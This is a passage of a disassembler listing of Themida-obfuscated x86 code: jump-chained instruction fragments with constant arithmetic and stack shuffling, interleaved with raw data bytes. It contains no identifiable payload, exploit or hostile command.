; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 6316BE56h, 49E96425h, 1000000h, 7EE95BDDh, 1000050h
		dd 0C8758C1h, 0B9515C24h, 49CE1EBCh, 7082C981h,	0BF57396Eh
		dd 206721B6h, 68h, 243C2900h, 0FFD22AE9h, 48B951FFh, 81657056h
		dd 0C45645C5h, 0E9CD290Eh, 0FFFFF565h, 0E904C483h, 141Bh
		dd 8107E6C1h, 4E7504C6h, 479DE9EDh, 814D0000h, 737B97EDh
		dd 0B3CD8121h, 81722D6Dh, 61EC15F5h, 5DEB0121h,	7C20E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5054FE:				; CODE XREF: Themida_:00509F78j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	small 285Bh
		jmp	loc_50BB30
; ---------------------------------------------------------------------------
		align 2
		dw 4C8h
		dd 594C2CD0h, 342CFC2Ch, 3404D828h, 4BE9FC04h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_505533:				; CODE XREF: Themida_:0050D6B7j
		mov	edx, 22F757D2h
		jmp	loc_50874C
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 0BCh
		dd 0E905421Eh, 0FFFFE930h, 0FFC2C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50554D:				; CODE XREF: Themida_:0050BAD8j
		mov	[esp], ebp
		jmp	loc_507275
; ---------------------------------------------------------------------------
		db 0B3h, 8Ch, 0B5h
		dd 5BDD28F9h, 0FE08EDC0h, 5E5C0C5h, 0FE02EDC0h,	0DED80CDh
		dd 0FED9B652h, 6EEC0CEh, 0EEC0DEF6h, 22EE8002h,	5AF328h
		dd 5225E9EBh, 3CD20000h, 82E99C24h, 66FFFFC2h, 0E924248Bh
		dd 0FFFFC279h, 410262B8h, 58C60106h, 0EE81D601h, 6410262h
		dd 4B8505Ah, 1000000h, 0FF5658C6h, 5E042474h, 5C24048Fh
		dd 5A2434FFh, 0E9E68956h, 6D41h, 44E949B5h, 0FF00006Bh
		dd 148B2434h, 4C48124h,	83000000h, 19E904ECh, 5F00003Bh
		dd 0BA52DDF7h, 0DDCF9656h, 295AD501h, 0FF535DEBh, 5B042474h
		dd 8B24048Fh, 89662424h, 0A6E92414h, 81000047h,	6AC62EF3h
		dd 0E9DE09C9h, 1A43h, 0FFC1F8E9h, 0D6055DFFh, 16EED89h
		dd 348758C6h, 4215C24h,	25E99C24h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50562F:				; CODE XREF: Themida_:00508758j
		sub	edx, 2DA769A5h
		shr	edx, 2
		and	edx, 5130549Ch
		add	edx, 5334CF32h
		mov	esi, edx
		jmp	loc_50A2C6
; ---------------------------------------------------------------------------


loc_50564B:				; CODE XREF: Themida_:00501C3Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50765A
; ---------------------------------------------------------------------------
		db 50h,	52h, 0BAh
		dd 0A1B4C2Eh, 0D5F28142h, 50300F31h, 0DE57FCB8h, 58C2210Dh
		dd 4536E9h
		db 0
; ---------------------------------------------------------------------------


loc_505679:				; CODE XREF: Themida_:0050508Fj
		xor	ch, 0Eh
		xor	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		add	dh, 4Eh
		add	al, dh
		pop	edx
		jmp	loc_50D598
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B1E94077h, 0FFFFFFFEh, 0FF042474h, 6EE92434h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5056A3:				; CODE XREF: Themida_:0050A676j
		add	edi, 4
		jmp	loc_50414D
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 1CC205A0h, 0E92434FFh, 0FFFFCC44h, 4245C29h,	64BDBE56h
		dd 6C816A70h, 78AA0824h, 0D1E94B00h, 0BB000007h, 82889C8Fh
		dd 2D5BDE01h, 3434831h,	3105F001h, 5E034348h, 42Dh, 74FF5000h
		dd 8F580424h, 0E95C2404h, 0FFFFCC9Ah
; ---------------------------------------------------------------------------


loc_5056FC:				; CODE XREF: Themida_:00506716j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	[edi+24h], esi
		pop	esi


loc_505712:				; CODE XREF: Themida_:0050355Bj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_506B12
; ---------------------------------------------------------------------------


loc_50571D:				; CODE XREF: Themida_:00502FFAj
		push	edi
		mov	edi, 3BC96C3Fh
		dec	edi
		not	edi
		jmp	loc_509D6E
; ---------------------------------------------------------------------------
aISB		db ',$黁',0
		dw 5200h
		dd 8D6B1CBAh, 18FCE90Dh, 4890000h, 0EDF6E924h, 30ACFFFFh
		dd 53B353D8h, 6C85E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505752:				; CODE XREF: Themida_:00501D39j
		push	ebx
		mov	ebx, 17FC2B50h
		sub	ebx, 48A6791Ah
		dec	ebx
		neg	ebx
		dec	ebx
		sub	ebx, 30AA4DC6h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 0DF850CAh
		neg	esi
		shl	esi, 2
		not	esi
		inc	esi
		add	esi, 0C81EBCDCh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_50ABF7
; ---------------------------------------------------------------------------


loc_50578C:				; CODE XREF: Themida_:0050AF85j
		sub	esp, 4
		jmp	loc_50265C
; ---------------------------------------------------------------------------
		db 40h
		dd 78BD5540h, 1797071h,	0FE73E9E8h, 0E889FFFFh,	89C58955h
		dd 2434FFEBh, 0E689565Dh, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0E924048Bh, 0FFFFFA28h, 31243433h, 52E92434h, 55FFFFEFh
		dd 1BDh, 1C6F0900h, 7D70E9h
		db 0
; ---------------------------------------------------------------------------


loc_5057E5:				; CODE XREF: Themida_:0050B9A8j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_50DD6B
; ---------------------------------------------------------------------------


loc_5057F0:				; CODE XREF: Themida_:0050DB7Aj
		push	625F0EC5h
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 41D42ACFh
		add	ebx, 2089E3F6h
		sub	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_50A31B
; ---------------------------------------------------------------------------
		db 5
		dd 4, 1DAABD55h, 1DE94001h, 59FFFFCCh, 18DEBE56h, 0EEC167DFh
		dd 3EF68106h, 0E908A521h, 77A3h, 0C7EDE952h, 40B9FFFFh
		dd 8133643Ah, 0BB2BC1E9h, 0A9F181D7h, 295C0952h, 0EB8159CBh
		dd 28F1575Eh, 2889EB81h, 0C3010F13h, 0B79E9h, 0BF575300h
		dd 3C1219E4h, 6510E781h, 0E7C10100h, 1635E906h,	0E95F0000h
		dd 0FFFFE6B6h, 0DDF7DDF7h, 1264F581h, 0EE316FA6h, 0F8EE815Dh
		dd 89CA629Dh, 0EB015EF5h, 241C875Dh, 48B665Ch, 60E95224h
		dd 0FF00005Dh, 348B2434h, 2763E924h, 0BC680000h, 5F73DD3Bh
		dd 0E7C1D7F7h, 54E0E905h, 815C0000h, 663A08C3h,	81C3014Eh
		dd 663A08EBh, 63BE564Eh, 0F714654Fh, 0E6C681D6h, 8164D8BCh
		dd 5D46ECC3h, 55F30169h, 53D9BB53h, 0DBF741FEh,	653BEB81h
		dd 0DD8954A4h, 5DEB295Bh, 30FF665Eh, 0FFBF0CE9h, 0EA8158FFh
		dd 6BD72F18h, 2BB0C581h, 0D5012220h, 2BB0ED81h,	0E95A2220h
		dd 46A0h
; ---------------------------------------------------------------------------


loc_505920:				; CODE XREF: Themida_:00505DB7j
		mov	ah, dh
		pop	edx
		not	ah
		sub	ah, 0
		inc	ah
		add	ah, 2Ch
		push	edx
		jmp	loc_509CEA
; ---------------------------------------------------------------------------
		db 0F7h
aSqse		db 'ؑQ>',0
		align 4
		dd 0B753D1F6h, 0E9D7F600h, 2443h
; ---------------------------------------------------------------------------


loc_505948:				; CODE XREF: Themida_:0050606Dj
		xor	eax, 61031DF1h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	4D34h
		mov	[esp], ecx
		push	6B05h
		mov	[esp], ebp
		mov	ebp, 9951A37h
		jmp	loc_50237B
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 9Bh
		dd 815DEC0Fh, 61259CC5h, 5DE80181h, 390DE9h, 7DB76800h
		dd 0CAE90000h, 88000025h, 8BC888F1h, 0C481240Ch, 4, 0FF58C788h
		dd 575A2434h, 0C781E789h, 4, 0FFEB5BE9h, 0BD55ADFFh, 6B195F41h
		dd 33A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5059BD:				; CODE XREF: Themida_:0050543Cj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5AC41AE1h
		mov	ebx, eax
		pop	eax
		dec	ebx
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_509F5C
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3CEA0017h, 5067E9h
		db 0
; ---------------------------------------------------------------------------


loc_5059F5:				; CODE XREF: Themida_:00508249j
		mov	esi, 4
		sub	dword ptr [esp+4], 183068FDh
		add	[esp+4], esi
		add	dword ptr [esp+4], 183068FDh
		jmp	loc_50657C
; ---------------------------------------------------------------------------
aSi9		db '\9',0
		dd 50515800h, 444BAB8h,	8BC18919h, 0C4832404h, 8BCF0104h
		dd 0C481240Ch, 4, 0FFC040E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505A39:				; CODE XREF: Themida_:0050686Cj
		xor	ecx, edi
		pop	edi
		not	ecx
		inc	ecx
		push	65DCh
		mov	[esp], ebp
		mov	ebp, 19F5A2Fh
		add	ebp, 0FFFFFFFFh
		push	edi
		jmp	loc_5024DB
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0BE560000h, 4BFB09B8h, 815EF301h, 65119C3h, 81C3016Bh
		dd 65119EBh, 4EC836Bh, 0BA241489h, 4BFB09B8h, 148BD329h
		dd 4C48124h, 58000000h,	8B241C87h, 8B662424h, 0F8682404h
		dd 8900001Bh, 37E9241Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505A9F:				; CODE XREF: Themida_:0050DB33j
		sub	al, 0A9h
		add	al, bl
		push	edx
		mov	dh, 36h
		add	dh, 0B7h
		push	small 0
		sub	[esp], dh
		jmp	loc_507462
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E7895724h, 4C781h, 0C7810000h, 2, 31243C33h, 3C33243Ch
		dd 24248B24h, 2EA568h, 241C8900h, 7C11E9h, 0B60F6600h
		dd 3CE955CCh, 81FFFFF1h, 42404h, 815E0000h, 4C6h, 1CE95200h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505AFF:				; CODE XREF: Themida_:00505F47j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		jmp	loc_50208D
; ---------------------------------------------------------------------------


loc_505B0D:				; CODE XREF: Themida_:0050CFF4j
		mov	esi, 0BDA5490h
		shl	esi, 1
		shr	esi, 3
		add	esi, 75D2BA66h
		or	eax, esi
		jmp	loc_504CA9
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 6203A5F3h, 4EC8338h, 0BB241C89h, 2BBF669Eh
		dd 3EBC143h, 0DE11E952h, 1C8BFFFFh, 4C48124h, 0D1000000h
		dd 46CEE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505B52:				; CODE XREF: Themida_:0050772Cj
		push	1090h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_50AE00
; ---------------------------------------------------------------------------


loc_505B62:				; CODE XREF: Themida_:0050A538j
		or	dl, 40h
		shr	dl, 2
		push	ecx
		mov	ch, 2
		sub	ch, 1
		dec	ch
		jmp	loc_5024E5
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 1E6BE9h, 48B6600h, 4125E924h, 0EA810000h, 563A001Ch
		dd 7DA2E9h, 4FB95100h, 0F74D574Ah, 0C0F181D1h, 0F719CA4Bh
		dd 0A8F181D9h, 0C10AB143h, 0C18102E9h, 0CC8182DFh, 5259CA31h
		dd 24148B5Eh, 504C483h,	99564F5h, 7AE9F029h, 81000048h
		dd 687AEBE5h, 7AE5813Fh, 0E926E707h, 468Eh
; ---------------------------------------------------------------------------


loc_505BD8:				; CODE XREF: Themida_:00507270j
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 4562B36h
		and	edx, 2802000Bh
		dec	edx
		push	ebp
		push	549358A4h
		pop	ebp
		add	ebp, 37CC19BCh
		sub	ebp, 5CA3FACCh
		jmp	loc_50246B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0DFE92434h, 81FFFFE4h, 0E2BC0E9h, 81E90158h,	0E2BC0C1h
		dd 242C8B58h, 4C481h, 0C1810000h, 2, 8B240C87h,	66642424h
		dd 0FDE90289h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_505C37:				; CODE XREF: Themida_:0050BD3Fj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_50CEEF
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 2404FF66h, 0BBAFE99Ch
		dd 0EB81FFFFh, 6CFC15D4h, 0A016C381h, 0D9890072h, 81241C8Bh
		dd 4C4h, 89D10100h, 815B5919h, 4ECh, 6A45E900h,	0D5F70000h
		dd 8104EDC1h, 241B8CEDh, 2750E94Ah, 0F7510000h,	1AE92414h
		dd 66000016h, 66242489h, 2240483h, 24048F66h, 66525366h
		dd 0E90002BAh, 37E0h
; ---------------------------------------------------------------------------


loc_505CBC:				; CODE XREF: Themida_:005069D4j
		add	[esp+4], ecx
		pop	ecx
		pop	ecx
		sub	ecx, 11BA7022h
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_502686
; ---------------------------------------------------------------------------


loc_505CD8:				; CODE XREF: Themida_:00504153j
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, ebp
		jmp	loc_50771E
; ---------------------------------------------------------------------------
aXscy		db ')Xy',0
		dd 240C3300h, 20AE9h
		db 0
; ---------------------------------------------------------------------------


loc_505CF5:				; CODE XREF: Themida_:00502738j
		add	esp, 4
		add	ebx, edi
		jmp	loc_509E1B
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E3895324h, 0FFE099E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505D0D:				; CODE XREF: Themida_:0050C9F8j
		push	789F01D4h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_50C0EC
; ---------------------------------------------------------------------------


loc_505D1D:				; CODE XREF: Themida_:00506A46j
		xor	cl, 0D2h
		add	cl, 0F9h
		xor	cl, 8Ah
		sub	dh, cl
		jmp	loc_5025CA
; ---------------------------------------------------------------------------
		db 0B0h, 63h, 2Ch
		dd 0FED8F6DEh, 4ADFE9C0h, 0C1810000h, 4, 2F37E9h, 0B9515B00h
		dd 4, 8359CB01h, 1C8702C3h, 24248B24h, 4A30F66h, 0AEE99C24h
		dd 81FFFFBAh, 4C4h, 2290E900h, 5B5E0000h, 7140E9h, 7EE8100h
		dd 51126130h, 0E147F9B9h, 6C18140h, 0E9BF1EB8h,	4976h
		dd 2BF575Eh, 1000000h, 243C8BFAh, 6804C483h, 3225h, 0E9241489h
		dd 3A8Ah, 0E95BD901h, 0FFFFF328h
; ---------------------------------------------------------------------------


loc_505DB0:				; CODE XREF: Themida_:0050928Dj
		pop	eax
		add	dh, bh
		push	eax
		push	edx
		mov	dh, 21h
		jmp	loc_505920
; ---------------------------------------------------------------------------
		dd 0BB53D9F7h, 6CDA5200h, 2DB5E9h, 48B6600h, 691E924h
		dd 3C870000h, 4742E924h, 0E9570000h, 0FFFFBC27h, 291B68h
		dd 3DB6800h, 24890000h,	24048324h, 24048F04h, 18E95150h
		dd 8B000021h, 0C483242Ch, 4EC8304h, 0BA241489h,	2, 0E5E9D301h
		dd 83FFFFD5h, 1C8704C3h, 41E95C24h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505E1F:				; CODE XREF: Themida_:00506E03j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_50C076
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 0FFFFE8C5h, 241C875Fh, 0BB0F665Ch, 0E99C2404h
		dd 0FFFFB9C9h
; ---------------------------------------------------------------------------


loc_505E48:				; CODE XREF: Themida_:00505E9Fj
		sub	ebx, eax
		sub	ebx, 76482144h
		push	911h
		mov	[esp], edx
		mov	edx, 6F044D2Fh
		add	edx, 2A9A5BDEh
		add	edx, 0A1B8C8A1h
		push	edi
		push	8D07FC3h
		jmp	loc_504AA7
; ---------------------------------------------------------------------------
		dd 0E4E9CB01h, 0FFFFC0h, 8B9C04E8h, 0C483240Ch,	9036804h
		dd 4890000h, 8097B024h,	0C30054C3h, 5E8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_505E99:				; CODE XREF: Themida_:00502972j
		add	ebx, 76482144h
		jmp	loc_505E48
; ---------------------------------------------------------------------------
aTBdKx		db ')t$',8,'D$',8,'x',0
		db 4Bh
		dd 4295B5Eh, 24048124h,	0DF05EEDh, 0FFB950E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505EC1:				; CODE XREF: Themida_:0050BA85j
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_507711
; ---------------------------------------------------------------------------
		dd 0FEEA815Bh, 0E9E506EFh, 0FFFFC7CFh, 24EC04B9h, 59CA31A8h
		dd 86E9D001h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505EEF:				; CODE XREF: Themida_:0050C07Aj
		mov	esi, 1BEE2139h
		or	esi, 4FBF6D3Ch
		jmp	loc_507132
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 24248B24h, 0E930FF66h, 0FFFFB901h, 5C242C87h
		dd 68241C89h, 6216h, 83242489h,	0E9042404h, 0FFFFFE1Dh
		dd 240C8B66h, 719968h, 2AD0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505F36:				; CODE XREF: Themida_:00508819j
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 0F5E39FC4h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_505AFF
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 83582434h, 0E95304C4h, 2D72h, 0E932FF66h
		dd 0FFFFB8ADh, 8BC8295Ah, 0E951240Ch, 0FFFFB8A7h, 54240489h
		dd 5024048Bh, 2FBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_505F7D:				; CODE XREF: Themida_:005086C7j
		xor	edx, 26E33886h
		jmp	loc_506DDE
; ---------------------------------------------------------------------------
		dd 904C483h, 0E9581C47h, 0FFFFB87Dh, 4C7AB951h,	0C8297161h
		dd 33692D59h, 5659740Eh, 0C27CA8BEh, 0CB22E902h, 0C281FFFFh
		dd 0FFFFFFFFh, 1F74EA81h, 0C28104ADh, 149E1830h, 815AD589h
		dd 9031DCF5h, 0CD814517h, 49BB4C30h, 0F528C581h, 6F890827h
		dd 242C8B20h, 0FFE5B5E9h, 242C87FFh, 0FFBA34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505FE9:				; CODE XREF: Themida_:00503AACj
		and	al, bl
		pop	ebx
		sub	al, 0F6h
		xor	al, 0CFh
		add	bl, al
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_504304
; ---------------------------------------------------------------------------


loc_50600C:				; CODE XREF: Themida_:00508F65j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	6F9Ah
		mov	[esp], ebp
		jmp	loc_5063EF
; ---------------------------------------------------------------------------
		db 8Ah,	1Ch, 24h
		dd 5002C483h, 0E4806DB4h, 3334E91Bh, 0F3010000h, 54F3815Eh
		dd 2916EE72h, 1FFDE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50604A:				; CODE XREF: Themida_:00506166j
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_506852
; ---------------------------------------------------------------------------


loc_50605E:				; CODE XREF: Themida_:0050AD26j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		xor	dword ptr [esp], 61031DF1h
		pop	eax
		jmp	loc_505948
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 6094E9h, 241C8900h, 0FFC61DE9h, 0FAF180FFh, 20E9382Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50608B:				; CODE XREF: Themida_:005033D2j
		push	ebp
		jmp	loc_50646D
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 0F3h
		dd 4EC81h, 0B1E90000h, 0D300006Eh, 0E99C242Ch, 0FFFFB769h
		dd 55241489h, 0DE4D2968h, 242C8B41h, 4A68E9h, 242C3100h
		dd 5C242C33h, 24048B66h, 407F68h, 241C8900h, 6133E954h
		dd 0DDF60000h, 721AE9h,	0C875E00h, 48F5C24h, 0F665C24h
		dd 9C2404B3h, 0FFB724E9h, 1C5F21FFh, 1BDFE95Bh,	0E6C10000h
		dd 50F68102h, 89017D62h, 0D1015EF1h, 0BB53h, 0EB810000h
		dd 0F6E4734h, 0C381CB01h, 0F6E4734h, 595B0303h,	8268595Ah
		dd 0E9000006h, 0FFFFF616h, 7B68D800h, 8900004Eh, 0B753240Ch
		dd 7C58E9B3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50613A:				; CODE XREF: Themida_:0050857Fj
		pop	ebx
		add	eax, ebx
		push	dword ptr [eax]
		push	esi
		mov	esi, 21274545h
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		sub	ecx, 21274545h
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_50604A
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 24043124h,	237EE9h, 0C6815E00h, 4,	4C681h
		dd 34870000h, 24248B24h, 8B24048Fh, 0D3662424h,	0E99C2424h
		dd 0FFFFB675h, 582434FFh, 3304C483h, 2C31242Ch,	4DF7E924h
		dd 76BA0000h, 0E90E9326h, 792h,	52240489h, 8808F7BAh, 0F9C0E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5061C6:				; CODE XREF: Themida_:00504E81j
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	esi, [esp]
		jmp	loc_509D0C
; ---------------------------------------------------------------------------
		dd 98C3815Bh, 0C103AE56h, 0D3F702E3h, 0A27BEB81h, 0E956F273h
		dd 528Dh, 0EC8005B4h, 2F97E935h, 51BD0000h, 810EE757h
		dd 247ED5EDh, 73F58159h, 81520C7Ch, 0D2699AEDh,	5DE829AAh
		dd 0EC104A05h, 56354855h, 29649AD1h, 8D6858C2h,	89000048h
		dd 4368243Ch, 8B740845h, 8951243Ch, 0BCF0E9E1h,	5095FFFFh
		dd 121E9h
		db 0
; ---------------------------------------------------------------------------


loc_506245:				; CODE XREF: Themida_:0050A542j
		sub	ebp, 3C0B7343h
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 755D7311h
		pop	ecx
		jmp	loc_50AD96
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 68h
		dd 7FAFh, 0B9240C89h, 1D18051Fh, 0C181D1F7h, 2B1A3D64h
		dd 4101E983h, 7970E9h
		db 0
; ---------------------------------------------------------------------------


loc_506281:				; CODE XREF: Themida_:00508BC3j
		add	esp, 4
		pop	ebp
		push	2CEFh
		jmp	loc_506379
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 4200h
; ---------------------------------------------------------------------------


loc_506298:				; CODE XREF: Themida_:005030C0j
		push	7967h
		mov	[esp], ebx
		jmp	loc_5093C4
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 81h
		dd 4ECh, 240C8900h, 4A5A4468h, 0E1C15940h, 23BB5302h, 0C135BA74h
		dd 0B85002EBh, 53BE36F3h, 0F3E9C309h, 68FFFFB6h, 1D55h
		dd 0E9241489h, 0FFFFB535h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 2
		jmp	loc_508393
; ---------------------------------------------------------------------------
		dd 286568h, 241C8900h, 516630B3h, 0C1FED988h, 454DE9h
		dd 24248900h, 4240483h,	4BA5259h, 1000000h, 0BD555AD1h
		dd 78124862h, 0EA1BE94Dh, 0BE56FFFFh, 4BCA50DDh, 50D9EE81h
		dd 0F3294BCAh, 241C875Eh, 2404895Ch, 0E9515854h, 0FFFFD4ADh
		dd 0E924248Bh, 394Eh
; ---------------------------------------------------------------------------


loc_506358:				; CODE XREF: Themida_:00507362j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50DCEE
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 51955824h, 9BE613B9h, 59CD01ECh, 0FFF3BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506379:				; CODE XREF: Themida_:0050628Dj
		mov	[esp], ecx
		push	2258h
		mov	[esp], edi
		mov	edi, 3A5A548Fh
		push	4029h
		mov	[esp], edx
		mov	edx, 0C5A5AC71h
		jmp	loc_503F1F
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 0FFFFB46Dh
; ---------------------------------------------------------------------------


loc_5063A4:				; CODE XREF: Themida_:0050D844j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 29h
		dd 0E99C2404h, 0FFFFB451h
; ---------------------------------------------------------------------------


loc_5063C0:				; CODE XREF: Themida_:0050660Ej
		push	eax
		push	0A67h
		jmp	loc_505094
; ---------------------------------------------------------------------------
		db 50h
		dd 0F0285B68h, 372D586Fh, 896FF028h, 0DFE2E9C3h, 0C381FFFFh
		dd 0F132889h, 21F8BE56h, 41E90AE2h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5063EF:				; CODE XREF: Themida_:00506024j
		push	edi
		jmp	loc_5081F6
; ---------------------------------------------------------------------------
		db 0FEh, 0C3h, 0E9h
		dd 0C2Bh
; ---------------------------------------------------------------------------


loc_5063FC:				; CODE XREF: Themida_:0050993Cj
		mov	ebx, ebp
		pop	ebp
		mov	edi, 9F017FDFh
		sub	edi, ebx
		jmp	loc_509FDF
; ---------------------------------------------------------------------------
		db 59h
		dd 4C5815Dh, 83000000h,	2C8704C5h, 24248B24h, 24E68h, 193AE900h
		dd 148B0000h, 4C48324h,	8B66E830h, 0C481240Ch, 2, 16FBE9h
		dd 241C3300h, 33241C31h, 248B241Ch, 241C8924h, 8850E388h
		dd 58E188DCh, 83241C8Bh, 885804C4h, 0E0E9870Ch,	68FFFFC7h
		dd 7D6Fh, 0D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_50646D:				; CODE XREF: Themida_:0050608Cj
		mov	ebp, 7DA20E41h
		jmp	loc_50D08F
; ---------------------------------------------------------------------------
		db 53h
		dd 35B4EBBh, 0B95174h, 29000000h, 58DDE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50648A:				; CODE XREF: Themida_:0050847Cj
		mov	[esp], esi
		push	4BA4h
		mov	[esp], eax
		mov	eax, 0D3FB3A63h
		mov	esi, eax
		pop	eax
		sub	edi, 3972014Fh
		add	edi, esi
		add	edi, 3972014Fh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5041C4
; ---------------------------------------------------------------------------
		dd 3F84C581h, 0F5814546h, 466B3FCCh, 34FFEE89h,	0C4815D24h
		dd 4, 7D63EA81h, 0F20176A0h, 7D63C281h,	69E976A0h, 66000025h
		dd 0B6241489h, 0FFEE80E4h, 66D7B151h, 30EDB050h, 0C05866C1h
		dd 0C2E902E1h, 66FFFFBCh, 5724048Bh, 639E9h, 0E9D5F700h
		dd 0FFFFE18Ch, 0EA008BB5h, 5AD18859h, 8853E980h, 240C8BCAh
		dd 4C481h, 0B4500000h, 0EAC4806Dh, 0E958E228h, 0FFFFE328h
		dd 68242C89h, 3D04h, 4DAEE9h, 4B900h, 4C010000h, 51E90424h
		dd 35000014h, 106B1E9Eh, 4EF1E9h, 24348700h, 0F724248Bh
		dd 39E68E1h, 14890000h,	0E99C5024h, 0FFFFB295h
; ---------------------------------------------------------------------------


loc_50657C:				; CODE XREF: Themida_:00505A0Ej
		pop	esi
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 4A800443h
		add	ebp, eax
		add	ebp, 4A800443h
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		not	ebx
		jmp	loc_504A7F
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
